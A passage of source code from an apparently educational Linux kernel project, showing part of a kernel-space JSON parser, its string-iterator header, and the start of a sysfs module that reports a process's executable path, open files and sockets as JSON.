iterator->pos, nextchar); 137 | return 1; 138 | } 139 | 140 | kjstring_iterator_next(iterator, nextchar); 141 | while(nextchar != '\"' && nextchar != '\0') 142 | { 143 | kjstring_push(ret_str, nextchar); 144 | kjstring_iterator_next(iterator, nextchar); 145 | } 146 | 147 | if(nextchar == '\0') 148 | { 149 | set_error("Syntax error", iterator->pos, nextchar); 150 | return 1; 151 | } 152 | 153 | return 0; 154 | } 155 | 156 | size_t find_string_size(struct kjstring_iterator *iterator) 157 | { 158 | size_t size = 0; 159 | struct kjstring_iterator iter_cpy; 160 | char nextchar; 161 | 162 | kjstring_copy_iterator(iterator, &iter_cpy); 163 | 164 | pop_nospace(&iter_cpy, nextchar); 165 | if(nextchar != '\"') 166 | { 167 | set_error("Character not recognized - do you miss '\"' ?", iterator->pos, nextchar); 168 | return 0; 169 | } 170 | 171 | kjstring_iterator_next(&iter_cpy, nextchar); 172 | while(nextchar != '\"' && nextchar != '\0') 173 | { 174 | size++; 175 | kjstring_iterator_next(&iter_cpy, nextchar); 176 | } 177 | 178 | if(nextchar == '\0') 179 | { 180 | set_error("Syntax error", iterator->pos, nextchar); 181 | return 0; 182 | } 183 | 184 | return size; 185 | } 186 | 187 | struct kjson_object_t *parse_integer_object(struct kjstring_iterator *iterator) 188 | { 189 | struct kjson_object_t *obj; 190 | 191 | if(kj_alloc(obj, sizeof(int64_t)) == NULL) 192 | { 193 | set_error("Unable to alloc memory", iterator->pos, '\0'); 194 | return NULL; 195 | } 196 | 197 | if(parse_integer(iterator, (int64_t*)obj->data)) 198 | { 199 | kj_dealloc(obj); 200 | return NULL; 201 | } 202 | 203 | obj->type = KOBJECT_TYPE_INTEGER; 204 | 205 | return obj; 206 | } 207 | 208 | struct kjson_object_t *parse_string_object(struct kjstring_iterator *iterator) 209 | { 210 | struct kjson_object_t *obj; 211 | struct kjstring_t tmp_string; 212 | size_t obj_size; 213 | 214 | if(!iterator) 215 | return NULL; 216 | 217 | obj_size = find_string_size(iterator) + 1; 218 | if(kj_alloc(obj, obj_size) == NULL) 219 | { 220 | set_error("Unable to alloc memory", iterator->pos, '\0'); 221 | return NULL; 222 | } 223 | 224 | kjstring_new_string_buffer(&tmp_string, obj->data, obj_size); 225 | 226 | if(parse_string(iterator, &tmp_string)) 227 | { 228 | kj_dealloc(obj); 229 | return NULL; 230 | } 231 | 232 | obj->type = KOBJECT_TYPE_STRING; 233 | 234 | return obj; 235 | } 236 | 237 | struct kjson_object_t *parse_ctn_object(struct kjstring_iterator *iterator) 238 | { 239 | struct kjson_object_t *obj; 240 | struct kjson_container *nest; 241 | 242 | if((nest = kjson_start_parser(iterator, true)) == NULL) 243 | return NULL; 244 | 245 | if(kj_alloc(obj, sizeof(struct kjson_container*)) == NULL) 246 | { 247 | set_error("Unable to alloc memory", iterator->pos, '\0'); 248 | return NULL; 249 | } 250 | 251 | obj->type = KOBJECT_TYPE_OBJECT; 252 | *(struct kjson_container**)obj->data = (struct kjson_container*)nest; 253 | 254 | return obj; 255 | } 256 | 257 | struct kjson_object_t *parse_array_object(struct kjstring_iterator *iterator) 258 | { 259 | struct kjson_object_t *obj; 260 | char nextchar; 261 | 262 | if(!iterator) 263 | return NULL; 264 | 265 | pop_nospace(iterator, nextchar); 266 | if(nextchar != '[') 267 | { 268 | set_error("Invalid operand on array of objects", iterator->pos, nextchar); 269 | return NULL; 270 | } 271 | 272 | get_nospace(iterator, nextchar); 273 | 274 | switch(nextchar) 275 | { 276 | // Check if array is empty 277 | case ']': 278 | { 279 | pop_nospace(iterator, nextchar); 280 | 281 | // Return empty array 282 | if(kj_alloc(obj, sizeof(struct kjson_array_struct)) == NULL) 283 | { 284 | set_error("Unable to alloc memory", iterator->pos, '\0'); 285 | return NULL; 286 | } 287 | 288 | // We consider an empty array as an integer empty array 289 | obj->type = KOBJECT_TYPE_INTEGER_ARRAY; 290 | ((struct kjson_array_struct*)obj->data)->len = 0; 291 | 292 | break; 293 | } 294 | case '\"': 295 | obj = parse_string_array(iterator); 296 | break; 297 | case '{': 298 | obj = parse_ctn_array(iterator); 299 | break; 300 | default: 301 | obj = parse_integer_array(iterator); 302 | } 303 | 304 | return obj; 305 | } 306 | 307 | size_t find_array_size(struct kjstring_iterator *iterator) 308 | { 309 | struct kjstring_iterator itra; 310 | size_t array_size; 311 | char nextchar; 312 | 313 | kjstring_copy_iterator(iterator, &itra); 314 | array_size = 1; 315 | 316 | do 317 | { 318 | pop_nospace(&itra, nextchar); 319 | if(nextchar == ',') 320 | array_size++; 321 | } 322 | while(nextchar != ']' && nextchar != '\0'); 323 | 324 | if(nextchar == '\0') 325 | { 326 | set_error("Syntax error", iterator->pos, nextchar); 327 | return 0; 328 | } 329 | 330 | return array_size; 331 | } 332 | 333 | size_t find_ctn_array_size(struct kjstring_iterator *iterator) 334 | { 335 | struct kjstring_iterator itra; 336 | size_t array_size; 337 | char nextchar; 338 | 339 | kjstring_copy_iterator(iterator, &itra); 340 | array_size = 1; 341 | 342 | do 343 | { 344 | pop_nospace(&itra, nextchar); 345 | if(nextchar == '}') 346 | { 347 | pop_nospace(&itra, nextchar); 348 | if(nextchar == ',') 349 | array_size++; 350 | else 351 | break; 352 | } 353 | } 354 | while(nextchar != '\0'); 355 | 356 | if(nextchar == '\0') 357 | { 358 | set_error("Syntax error", iterator->pos, nextchar); 359 | return 0; 360 | } 361 | 362 | return array_size; 363 | } 364 | 365 | struct kjson_object_t *parse_string_array(struct kjstring_iterator *iterator) 366 | { 367 | struct kjson_object_t *obj; 368 | struct kjson_array_struct *data_hdr; 369 | char **parsed_str_buffer; 370 | struct kjstring_t parsed_str; 371 | unsigned int array_size, str_size, i, j; 372 | char nextchar; 373 | 374 | if(!iterator) 375 | return NULL; 376 | 377 | // get the json array size - iterator will not change it's position after this call 378 | array_size = find_array_size(iterator); 379 | // if find_array_size is zero the buffer reach the end (no json array detected) 380 | if(array_size == 0) 381 | return NULL; 382 | 383 | if(kj_alloc(obj, (array_size * sizeof(char*)) + sizeof(struct kjson_array_struct)) == NULL) 384 | { 385 | set_error("Unable to alloc memory", iterator->pos, '\0'); 386 | return NULL; 387 | } 388 | 389 | obj->type = KOBJECT_TYPE_STRING_ARRAY; 390 | data_hdr = (struct kjson_array_struct*)obj->data; 391 | data_hdr->len = array_size; 392 | parsed_str_buffer = (char**)(data_hdr->data); 393 | 394 | for(i = 0; i < array_size; i++) 395 | { 396 | str_size = find_string_size(iterator) + 1; // Last 1 byte for Null terminator 397 | 398 | // alloc the buffer for the string to insert into the json container 399 | if((parsed_str_buffer[i] = kzalloc(str_size, GFP_KERNEL)) == NULL) 400 | { 401 | set_error("Unable to alloc memory", iterator->pos, '\0'); 402 | goto FAIL; 403 | } 404 | 405 | kjstring_new_string_buffer(&parsed_str, parsed_str_buffer[i], str_size); 406 | 407 | if(parse_string(iterator, &parsed_str)) 408 | goto FAIL; // TODO the last parsed_str_buffer allocated will not release - improve the deallocator 409 | 410 | pop_nospace(iterator, nextchar); 411 | if(nextchar != ',') 412 | { 413 | if(nextchar == ']' && i == array_size - 1) 414 | goto OUT; 415 | else 416 | { 417 | goto FAIL; 418 | } 419 | } 420 | } 421 | 422 | // This point it shouldn't reached 423 | goto FAIL; 424 | 425 | FAIL: 426 | for(j = 0; j < i; j++) 427 | kfree(parsed_str_buffer[j]); 428 | 429 | if(parsed_str_buffer[i] != NULL) 430 | kfree(parsed_str_buffer[j]); 431 | 432 | kj_dealloc(obj); 433 | obj = NULL; 434 | OUT: 435 | return obj; 436 | } 437 | 438 | struct kjson_object_t *parse_integer_array(struct kjstring_iterator *iterator) 439 | { 440 | struct kjson_object_t *obj; 441 | struct kjson_array_struct *data_hdr; 442 | unsigned int array_size, i; 443 | char nextchar; 444 | 445 | if(!iterator) 446 | return NULL; 447 | 448 | array_size = find_array_size(iterator); 449 | // if find_array_size is zero the buffer reach the end 450 | if(array_size == 0) 451 | return NULL; 452 | 453 | if(kj_alloc(obj, (array_size * sizeof(int64_t)) + sizeof(struct kjson_array_struct)) == NULL) 454 | return NULL; 455 | 456 | obj->type = KOBJECT_TYPE_INTEGER_ARRAY; 457 | data_hdr = (struct kjson_array_struct*)obj->data; 458 | data_hdr->len = array_size; 459 | 460 | for(i = 0; i < array_size; i++) 461 | { 462 | if(parse_integer(iterator, (int64_t*)(data_hdr->data + (i * sizeof(int64_t))))) 463 | goto FAIL; 464 | 465 | pop_nospace(iterator, nextchar); 466 | if(nextchar != ',') 467 | { 468 | if(nextchar == ']' && i == array_size - 1) 469 | goto OUT; 470 | else 471 | goto FAIL; 472 | } 473 | } 474 | 475 | // This point it shouldn't reached 476 | goto FAIL; 477 | 478 | FAIL: 479 | 480 | kj_dealloc(obj); 481 | obj = NULL; 482 | OUT: 483 | return obj; 484 | } 485 | 486 | struct kjson_object_t *parse_ctn_array(struct kjstring_iterator *iterator) 487 | { 488 | struct kjson_object_t *obj; 489 | struct kjson_array_struct *data_hdr; 490 | struct kjson_container **parsed_obj; 491 | unsigned int array_size, i, j; 492 | char nextchar; 493 | 494 | if(!iterator) 495 | return NULL; 496 | 497 | array_size = find_ctn_array_size(iterator); 498 | 499 | // if find_ctn_array_size is zero the buffer reach the end 500 | if(array_size == 0) 501 | return NULL; 502 | 503 | if(kj_alloc(obj, (array_size * sizeof(struct kjson_container*)) + sizeof(struct kjson_array_struct)) == NULL) 504 | return NULL; 505 | 506 | obj->type = KOBJECT_TYPE_OBJECT_ARRAY; 507 | data_hdr = (struct kjson_array_struct*)obj->data; 508 | data_hdr->len = array_size; 509 | parsed_obj = (struct kjson_container**)(data_hdr->data); 510 | 511 | for(i = 0; i < array_size; i++) 512 | { 513 | if((parsed_obj[i] = kjson_start_parser(iterator, true)) == NULL) 514 | goto FAIL; 515 | 516 | pop_nospace(iterator, nextchar); 517 | if(nextchar != ',') 518 | { 519 | if(nextchar == ']' && i == array_size - 1) 520 | goto OUT; 521 | else 522 | goto FAIL; 523 | } 524 | } 525 | 526 | // This point it shouldn't reached 527 | goto FAIL; 528 | 529 | FAIL: 530 | 531 | for(j = 0; j < i; j++) 532 | kjson_delete_container(parsed_obj[j]); 533 | 534 | if(parsed_obj[i] != NULL) 535 | kjson_delete_container(parsed_obj[j]); 536 | 537 | kj_dealloc(obj); 538 | obj = NULL; 539 | OUT: 540 | return obj; 541 | } 542 | 543 | struct kjson_object_t *parse_null_bool_object(struct kjstring_iterator *iterator) 544 | { 545 | struct kjson_object_t *obj = NULL; 546 | 547 | if(!iterator || !iterator->str) 548 | return NULL; 549 | 550 | const char *next_str = kjstring_iterator_follow(iterator); 551 | 552 | if(!strncmp(next_str, "null", 4) || !strncmp(next_str, "NULL", 4)) 553 | { 554 | if(kj_alloc(obj, 0) == NULL) 555 | return NULL; 556 | 557 | obj->type = KOBJECT_TYPE_OBJECT_NULL; 558 | 559 | iterator->pos += 4; 560 | } 561 | else if(!strncmp(next_str, "true", 4) || !strncmp(next_str, "TRUE", 4)) 562 | { 563 | if(kj_alloc(obj, sizeof(int)) == NULL) 564 | return NULL; 565 | 566 | obj->type = KOBJECT_TYPE_OBJECT_BOOL; 567 | *(int*)obj->data = 1; 568 | 569 | iterator->pos += 4; 570 | } 571 | else if(!strncmp(next_str, "false", 5) || !strncmp(next_str, "FALSE", 5)) 572 | { 573 | if(kj_alloc(obj, sizeof(int)) == NULL) 574 | return NULL; 575 | 576 | obj->type = KOBJECT_TYPE_OBJECT_BOOL; 577 | *(int*)obj->data = 0; 578 | 579 | iterator->pos += 5; 580 | } 581 | 582 | return obj; 583 | } 584 | 585 | struct kjson_object_t *parse_value(struct kjstring_iterator *iterator) 586 | { 587 | struct kjson_object_t *obj; 588 | char nextchar; 589 | 590 | get_nospace(iterator, nextchar); 591 | 592 | switch(nextchar) 593 | { 594 | case '"': 595 | obj = parse_string_object(iterator); 596 | break; 597 | case '[': 598 | obj = parse_array_object(iterator); 599 | break; 600 | case '{': 601 | obj = parse_ctn_object(iterator); 602 | break; 603 | case 'n': 604 | case 'N': 605 | case 'f': 606 | case 'F': 607 | case 't': 608 | case 'T': 609 | obj = parse_null_bool_object(iterator); 610 | break; 611 | default: 612 | obj = parse_integer_object(iterator); 613 | } 614 | 615 | return obj; 616 | } 617 | 618 | int parse_key(struct kjstring_iterator *iterator, struct kjstring_t *ret_key) 619 | { 620 | return parse_string(iterator, ret_key); 621 | } 622 | 623 | struct kjson_object_t *kjson_parse_object(struct kjstring_iterator *iterator) 624 | { 625 | struct kjson_object_t *obj; 626 | char nextchar; 627 | kjstring_static_declare(key, KJSON_KEY_SIZE); 628 | 629 | /* Parse key */ 630 | if(parse_key(iterator, key)) 631 | return NULL; 632 | 633 | /* Two points after key */ 634 | pop_nospace(iterator, nextchar); 635 | if(nextchar != ':') 636 | { 637 | set_error("Character not recognized - do you miss ':' ?", iterator->pos, nextchar); 638 | return NULL; 639 | } 640 | 641 | /* Parse value and create kjson_object_t */ 642 | if((obj = parse_value(iterator)) == NULL) 643 | return NULL; 644 | 645 | strncpy(obj->key, kjstring_str(key), KJSON_KEY_SIZE); 646 | 647 | return obj; 648 | } 649 | 650 | struct kjson_container *kjson_start_parser(struct kjstring_iterator *iterator, bool is_nested) 651 | { 652 | struct kjson_container *ctn; 653 | struct kjson_object_t *obj; 654 | char nextchar, nextchar_t; 655 | 656 | // Json script starts with { 657 | pop_nospace(iterator, nextchar); 658 | 659 | if(nextchar != '{') 660 | { 661 | set_error("No starting scoope found", iterator->pos, nextchar); 662 | return NULL; 663 | } 664 | 665 | if(IS_ERR(ctn = kjson_new_container())) 666 | { 667 | set_error("Unable to create a new kjson container", iterator->pos, nextchar); 668 | return NULL; 669 | } 670 | 671 | // If is empty ? 672 | get_nospace(iterator, nextchar_t); 673 | if(nextchar_t == '}') 674 | { 675 | pop_nospace(iterator, nextchar); 676 | get_nospace(iterator, nextchar); 677 | 678 | // nested json cannot terminate with \0 just after the } 679 | if(!is_nested && nextchar != '\0') 680 | { 681 | set_error("Json not recognized - syntax error", iterator->pos, nextchar); 682 | return NULL; 683 | } 684 | else 685 | return ctn; 686 | } 687 | 688 | while(nextchar != '}' && nextchar != '\0') 689 | { 690 | if((obj = kjson_parse_object(iterator)) == NULL) { 691 | goto FAIL; 692 | } 693 | 694 | if(__kjson_push_object(ctn, obj)) 695 | { 696 | set_error("Unable to push a new object to the kjson container", iterator->pos, nextchar); 697 | kjson_delete_object(obj); 698 | goto FAIL; 699 | } 700 | 701 | pop_nospace(iterator, nextchar); 702 | } 703 | 704 | if(nextchar == '\0') 705 | { 706 | set_error("Json ends without anything to parse", iterator->pos, nextchar); 707 | goto FAIL; 708 | } 709 | 710 | // If this is not a nested json, we don't have anymore charachter after the last scope '}' 711 | if(!is_nested) 712 | { 713 | pop_nospace(iterator, nextchar); 714 | if(nextchar != '\0') 715 | { 716 | set_error("Json contains strange characters after the end scoope", iterator->pos, nextchar); 717 | goto FAIL; 718 | } 719 | } 720 | 721 | goto OUT; 722 | 723 | FAIL: 724 | kjson_delete_container(ctn); 725 | ctn = NULL; 726 | 727 | OUT: 728 | return ctn; 729 | } 730 | 731 | struct kjson_container *kjson_parse(const char *json_str) 732 | { 733 | // Inizialize the memory for errors message 734 | kjson_parser_error.str_data = kjson_parser_error.__data; 735 | kjstring_clear(((struct kjstring_t*)&kjson_parser_error)); 736 | 737 | kjstring_iterator_from_string(iterator, json_str); 738 | return kjson_start_parser(&iterator, false); 739 | } 740 | EXPORT_SYMBOL_GPL(kjson_parse); 741 | 742 | MODULE_LICENSE("GPL"); 743 | MODULE_AUTHOR("Emanuele Santini "); 744 | -------------------------------------------------------------------------------- /retrive_process_informations/kjson/kjstring.h: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 2 | 3 | /* This file is part of JsonOnKernel. 4 | * 5 | * JsonOnKernel is free software: you can redistribute it and/or modify 6 | * it under the terms of the GNU General Public License as published by 7 | * the Free Software Foundation, either version 2 of the License, or 8 | * (at your option) any later version. 9 | * 10 | * JsonOnKernel is distributed in the hope that it will be useful, 11 | * but WITHOUT ANY WARRANTY; without even the implied warranty of 12 | * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 13 | * GNU General Public License for more details. 14 | * 15 | * You should have received a copy of the GNU General Public License 16 | * along with Nome-Programma. If not, see . 17 | * 18 | * Copyright (C) 2023, Emanuele Santini 19 | * 20 | * Authors: Emanuele Santini 21 | */ 22 | 23 | #ifndef _KJSTRING_H 24 | #define _KJSTRING_H 25 | 26 | /* 27 | * This library could be useful to use both in kernel and 28 | * user space. KJSON will only use the Kernel space version. 29 | */ 30 | #ifdef __KERNEL__ 31 | 32 | #include 33 | #include 34 | 35 | #define kjstring_allocator(size) kmalloc(size, GFP_KERNEL) 36 | #define kjstring_free(str) kfree(str) 37 | 38 | #else 39 | 40 | #include 41 | #include 42 | 43 | #define kjstring_allocator(size) malloc(size) 44 | #define kjstring_free(str) free(str) 45 | 46 | #endif 47 | 48 | struct kjstring_t { 49 | size_t buffer_size; 50 | size_t off; 51 | 52 | /* 53 | * Data could be allocated in another place or embedded in the current struct. 54 | * In this last case, str_data points to __data (so it points the field just after it self) 55 | */ 56 | union { 57 | char *str_data; 58 | const char *c_str_data; 59 | }; 60 | char __data[]; 61 | } __no_randomize_layout; 62 | 63 | struct kjstring_iterator { 64 | const struct kjstring_t *str; 65 | size_t pos; 66 | }; 67 | 68 | #define kjstring_str(str) (str)->str_data 69 | #define kjstring_size(str) (str)->off 70 | 71 | #define INTOS_SIZE 16 // Size of buffer for integer to string convertion 72 | 73 | /* 74 | * This will create a kjstring_t in the current stack. 75 | * This function is useful if you need to allocate a short string (less than a stack size) 76 | * and you don't want to create a new heap area to contain it. 77 | * @name: The name of your string object. 78 | * @size: The max size of your string object including null terminator. 79 | */ 80 | #define kjstring_static_declare(name, size) \ 81 | struct kjstring_static_##name { \ 82 | size_t buffer_size; \ 83 | size_t off; \ 84 | char *str_data; \ 85 | char __data[size]; \ 86 | } _##name; \ 87 | struct kjstring_t *name = (struct kjstring_t*)&_##name; \ 88 | name->buffer_size = size; name->off = 0; name->str_data = name->__data; \ 89 | memset(name->str_data, 0x0, size) 90 | 91 | /* 92 | * This will create a kjstring_t object starting from the buffer string pointer. 93 | * If you just have a string buffer you can create a kjstring_t object to rappresent your string. 94 | * Be careful, if the kjstring_t object passed as first parameter already points to a buffer, it will be lost. 95 | * @str: An empty preallocated kjstring_t struct (on your stack or heap). 96 | * @buffer: Your string buffer. 97 | * @buffer_size: Your string buffer size including null terminator. 98 | * Return: Return the same address of str. 99 | */ 100 | static inline struct kjstring_t* kjstring_new_string_buffer(struct kjstring_t *str, char *buffer, size_t buffer_size) 101 | { 102 | if(!str || !buffer) 103 | return NULL; 104 | 105 | str->buffer_size = buffer_size; 106 | // If the string is empty, off will be 0. Otherwise it will be the last character before 0 107 | str->off = strnlen(buffer, buffer_size - 1); 108 | str->str_data = buffer; 109 | 110 | return str; 111 | } 112 | 113 | /* 114 | * This will allocate a kjstring_t object on the heap. 115 | * @size: The max size of your string. 116 | * Return: The kjstring_t object. 117 | * In this case, you have to call kjstring_free to dealloc the string object. 118 | */ 119 | static inline struct kjstring_t *kjstring_alloc(size_t default_size) 120 | { 121 | struct kjstring_t *str; 122 | 123 | if(!default_size || (str = kjstring_allocator(sizeof(struct kjstring_t) + default_size)) == NULL) 124 | return NULL; 125 | 126 | memset(str, 0, sizeof(struct kjstring_t) + default_size); 127 | str->buffer_size = default_size; 128 | str->str_data = str->__data; 129 | 130 | return str; 131 | } 132 | 133 | /* 134 | * The string will be cleared 135 | */ 136 | #define kjstring_clear(str) do { \ 137 | str->off = 0; \ 138 | memset(str->str_data, 0x0, str->buffer_size); \ 139 | } while(0) 140 | 141 | #define kjstring_append_pos(str, src, pos) do { \ 142 | if(pos < str->buffer_size) { \ 143 | size_t len = strlen(src); \ 144 | strncpy(&str->str_data[pos], src, (str->buffer_size - pos)); \ 145 | if((str->buffer_size - pos) <= len) { \ 146 | str->off = str->buffer_size - 1; \ 147 | str->str_data[str->off] = '\0'; \ 148 | } \ 149 | else { \ 150 | str->off = pos + len; \ 151 | } \ 152 | } \ 153 | } while(0) 154 | 155 | /* 156 | * Append a string starting to a specific position 157 | * @str: kjstring_t object. 158 | * @src: The pointer to the string to append. 159 | * @pos: The position to start the append 160 | */ 161 | static inline void kjstring_append_string(struct kjstring_t *str, char *src, size_t pos) { 162 | kjstring_append_pos(str, src, pos); 163 | } 164 | 165 | /* 166 | * Append an integer starting to a specific position. The integer value will be convert to an ASCII type 167 | * @str: kjstring_t object. 168 | * @val: The pointer to the integer to append. 169 | * @pos: The position to start the append 170 | */ 171 | static inline void kjstring_append_integer(struct kjstring_t *str, int64_t val, size_t pos) { 172 | char integer[INTOS_SIZE]; 173 | 174 | memset(integer, 0, INTOS_SIZE); 175 | snprintf(integer, INTOS_SIZE, "%lld", val); 176 | kjstring_append_pos(str, integer, pos); 177 | } 178 | 179 | // Type to put on the string is not recognized 180 | static inline void __kjstring_no_append(struct kjstring_t *str, int64_t val, size_t pos) {} 181 | 182 | #define kjstring_insert_type(str, src, pos) _Generic((src), \ 183 | char*: kjstring_append_string, \ 184 | const char*: kjstring_append_string, \ 185 | int64_t: kjstring_append_integer, \ 186 | default: __kjstring_no_append \ 187 | )(str, src, pos) 188 | 189 | /* 190 | * Use this to append a string or integer type to your kjstring_t object. 191 | * @str: kjstring_t object. 192 | * @src: A string or integer value to append 193 | */ 194 | #define kjstring_append(str, src) kjstring_insert_type(str, src, str->off) 195 | 196 | /* 197 | * Use this to truncate the current kjstring_t and add a string or integer type to your kjstring_t object. 198 | * @str: kjstring_t object. 199 | * @src: A string or integer value to append 200 | */ 201 | #define kjstring_trunc(str, src) kjstring_insert_type(str, src, 0) 202 | 203 | /* 204 | * Push a char value to the kjstring_t object 205 | * @str: kjstring_t object. 206 | * @chr: A cahr value 207 | */ 208 | #define kjstring_push(str, chr) do { \ 209 | if(str->off < str->buffer_size - 1) \ 210 | str->str_data[str->off++] = chr; \ 211 | } while(0) 212 | 213 | /* 214 | * Initialize an iterator. 215 | * @str: A non empty kjstring_t object. 216 | * @iterator: A preallocated struct kjstring_iterator (usually on your stack) 217 | */ 218 | static inline void kjstring_interator_init(const struct kjstring_t *str, struct kjstring_iterator *iterator) 219 | { 220 | iterator->str = str; 221 | iterator->pos = 0; 222 | } 223 | 224 | /* 225 | * Declare an iterator on the stack directly using a const char* or char* null term string. 226 | * Useful if you have a char* pointer to a string and you want a fast secure way to iter on it. 227 | * @iter_name: The name of the iterator to declare 228 | * @char_str: A const char* or char* string pointer 229 | */ 230 | #define kjstring_iterator_from_string(iter_name, char_str) \ 231 | const struct kjstring_t __kj_##iter_name = { \ 232 | .buffer_size = strlen(char_str) + 1, \ 233 | .off = strlen(char_str), \ 234 | .c_str_data = char_str, \ 235 | }; \ 236 | struct kjstring_iterator iter_name = { \ 237 | .str = &__kj_##iter_name, \ 238 | .pos = 0, \ 239 | }; \ 240 | 241 | 242 | /* 243 | * Reset the iterator. It will start from the position 0 244 | */ 245 | #define kjstring_iterator_reset(iterator) (iterator)->pos = 0 246 | 247 | /* 248 | * Create a copy of the iterator in the iterator_dest. 249 | */ 250 | #define kjstring_copy_iterator(iterator_src, iterator_dest) do { \ 251 | (iterator_dest)->str = (iterator_src)->str; \ 252 | (iterator_dest)->pos = (iterator_src)->pos; \ 253 | } while(0) 254 | 255 | /* 256 | * Return the current char pointed by the iterator and increment the iterator counter. 257 | * @iterator: A kjstring_iterator type. 258 | * @chr: An empty char. 259 | */ 260 | #define kjstring_iterator_next(iterator, chr) do { \ 261 | chr = '\0'; \ 262 | if((iterator)->pos < (iterator)->str->off) \ 263 | chr = (iterator)->str->c_str_data[(iterator)->pos++]; \ 264 | } while(0) 265 | 266 | /* 267 | * Return the current char pointed by the iterator. 268 | */ 269 | static inline char kjstring_iterator_get(struct kjstring_iterator *iterator) 270 | { 271 | char ret = '\0'; 272 | 273 | if(!iterator && !iterator->str) 274 | return ret; 275 | 276 | if(iterator->pos < iterator->str->off) 277 | ret = iterator->str->c_str_data[iterator->pos]; 278 | 279 | return ret; 280 | } 281 | 282 | /* 283 | * Return true if the iterator point to the end 284 | */ 285 | static inline bool kjstring_iterator_end(struct kjstring_iterator *iterator) 286 | { 287 | return iterator->pos == iterator->str->off; 288 | } 289 | 290 | static inline const char *kjstring_iterator_follow(const struct kjstring_iterator *iterator) 291 | { 292 | return &iterator->str->c_str_data[iterator->pos]; 293 | } 294 | 295 | /* 296 | * Iter all the kjstring_t object. 297 | * @chr: An empty char type where the next value will be stored 298 | */ 299 | #define kjstring_for_each(iterator, chr) \ 300 | for(chr = (iterator)->str->c_str_data[(iterator)->pos] ; \ 301 | (iterator)->pos < (iterator)->str->off ; \ 302 | chr = (iterator)->str->c_str_data[++(iterator)->pos]) 303 | 304 | #endif 305 | 306 | 307 | 308 | -------------------------------------------------------------------------------- /retrive_process_informations/procinfo.c: -------------------------------------------------------------------------------- 1 | // SPDX-License-Identifier: GPL-2.0 2 | // Authors: Emanuele Santini 3 | 4 | /* 5 | * Example usage: 6 | * # insmod procinfo.ko 7 | * # cd /sys/kernel/procinfo/ 8 | * # echo { \"process_pid\": 1, \"request\": [\"process_path\", \"file_open\", \"process_socket\"] } > jsoninfo 9 | * # cat jsoninfo 10 | * {"ExecutablePath": "/usr/lib/systemd/systemd", "request": ["process_path", "file_open", "process_socket"], "ProcessFilesOpen": ["/dev/null", "/dev/null", "/dev/null", "/dev/kmsg", "anon_inode:[eventpoll]", "anon_inode:[signalfd]", "anon_inode:inotify", "/sys/fs/cgroup", "anon_inode:[timerfd]", "anon_inode:[eventpoll]", "/proc/1/mountinfo", "anon_inode:inotify", "/usr/lib/x86_64-linux-gnu/libgcr-base-3.so.1.0.0", "anon_inode:inotify", "/proc/swaps", "socket:[20768]", "socket:[20769]", "socket:[20770]", "socket:[20771]", "socket:[20772]", "socket:[20774]", "socket:[20775]", "/usr/lib/x86_64-linux-gnu/libglib-2.0.so.0.7200.4", "/usr/lib/x86_64-linux-gnu/libX11.so.6.4.0", "/usr/lib/x86_64-linux-gnu/libgmodule-2.0.so.0.7200.4", "/usr/lib/x86_64-linux-gnu/libsystemd.so.0.32.0", "anon_inode:inotify", "/dev/autofs", "pipe:[20781]", "anon_inode:[timerfd]", "/run/dmeventd-server", "/run/dmeventd-client"], "process_pid": 1, "ProcessSockOpen": [{"DestinationPort": 0, "DestinationIP": "0.0.0.0", "SourceIP": "0.0.0.0", "Protocol": 15}, {"DestinationPort": 0, "DestinationIP": "0.0.0.0", "SourceIP": "0.0.0.0", "Protocol": 0}, {"DestinationPort": 0, "DestinationIP": "0.0.0.0", "SourceIP": "0.0.0.0", "Protocol": 0}, {"DestinationPort": 0, "DestinationIP": "0.0.0.0", "SourceIP": "0.0.0.0", "Protocol": 0}, {"DestinationPort": 0, "DestinationIP": "0.0.0.0", "SourceIP": "0.0.0.0", "Protocol": 0}, {"DestinationPort": 0, "DestinationIP": "0.0.0.0", "SourceIP": "0.0.0.0", "Protocol": 0}, {"DestinationPort": 0, "DestinationIP": "0.0.0.0", "SourceIP": "0.0.0.0", "Protocol": 0}]} 11 | */ 12 | 13 | 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | 25 | #include "kjson/kjson.h" 26 | #include "kjson/kjstring.h" 27 | 28 | #define PROCINFO_OBJECT "procinfo" 29 | #define PROCINFO_ATTR_NAME jsoninfo 30 | 31 | // Job of the workqueue proinfo_job 32 | static void start_procinfo_job(struct work_struct *work); 33 | static ssize_t procinfo_show(struct kobject *kobj, struct kobj_attribute *attr, char *buffer); 34 | static ssize_t procinfo_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buffer, size_t count); 35 | 36 | static void procinfo_release(struct kobject *kobj) { } 37 | 38 | struct procinfo_data { 39 | struct kobject kobj; 40 | struct kjson_container *json; 41 | struct kjstring_t *json_answer; 42 | 43 | /* 44 | * Declare a workqueue to make the job: Creating the JSON when the user request the process info, 45 | * or better, it will read the procinfo file on sysfs. 46 | */ 47 | struct workqueue_struct *procinfo_job; 48 | struct work_struct job; 49 | }; 50 | 51 | // Define a procinfo attribute name. 52 | static struct kobj_attribute procinfo_attribute = __ATTR(PROCINFO_ATTR_NAME, 0664, procinfo_show, procinfo_store); 53 | 54 | // Create an array of attribute with all attribute defined for the kobect 55 | static struct attribute *procinfo_attrs[] = { 56 | &procinfo_attribute.attr, 57 | NULL 58 | }; 59 | // And define the procinfo_groups from the procinfo_attrs 60 | ATTRIBUTE_GROUPS(procinfo); 61 | 62 | // Create the kobject proinfo with all attributes 63 | static const struct kobj_type procinfo_ktype = { 64 | .sysfs_ops = &kobj_sysfs_ops, 65 | .release = procinfo_release, 66 | .default_groups = procinfo_groups, 67 | }; 68 | 69 | ssize_t procinfo_show(struct kobject *kobj, struct kobj_attribute *attr, char *buffer) 70 | { 71 | struct procinfo_data *pinfo; 72 | 73 | pinfo = container_of(kobj, struct procinfo_data, kobj); 74 | 75 | // If there is no a JSON string loaded, return NULL 76 | if(pinfo->json_answer == NULL) 77 | return 0; 78 | 79 | // If there was a parsing error into the procinfo_store call, print the error 80 | if(pinfo->json == NULL) 81 | { 82 | sysfs_emit(buffer, "%s", kjstring_str(pinfo->json_answer)); 83 | return kjstring_size(pinfo->json_answer); 84 | } 85 | 86 | // Copy the JSON string to the kobject output buffer 87 | sysfs_emit(buffer, "%s", kjstring_str(pinfo->json_answer)); 88 | return kjstring_size(pinfo->json_answer); 89 | } 90 | 91 | ssize_t procinfo_store(struct kobject *kobj, struct kobj_attribute *attr, const char *buffer, size_t count) 92 | 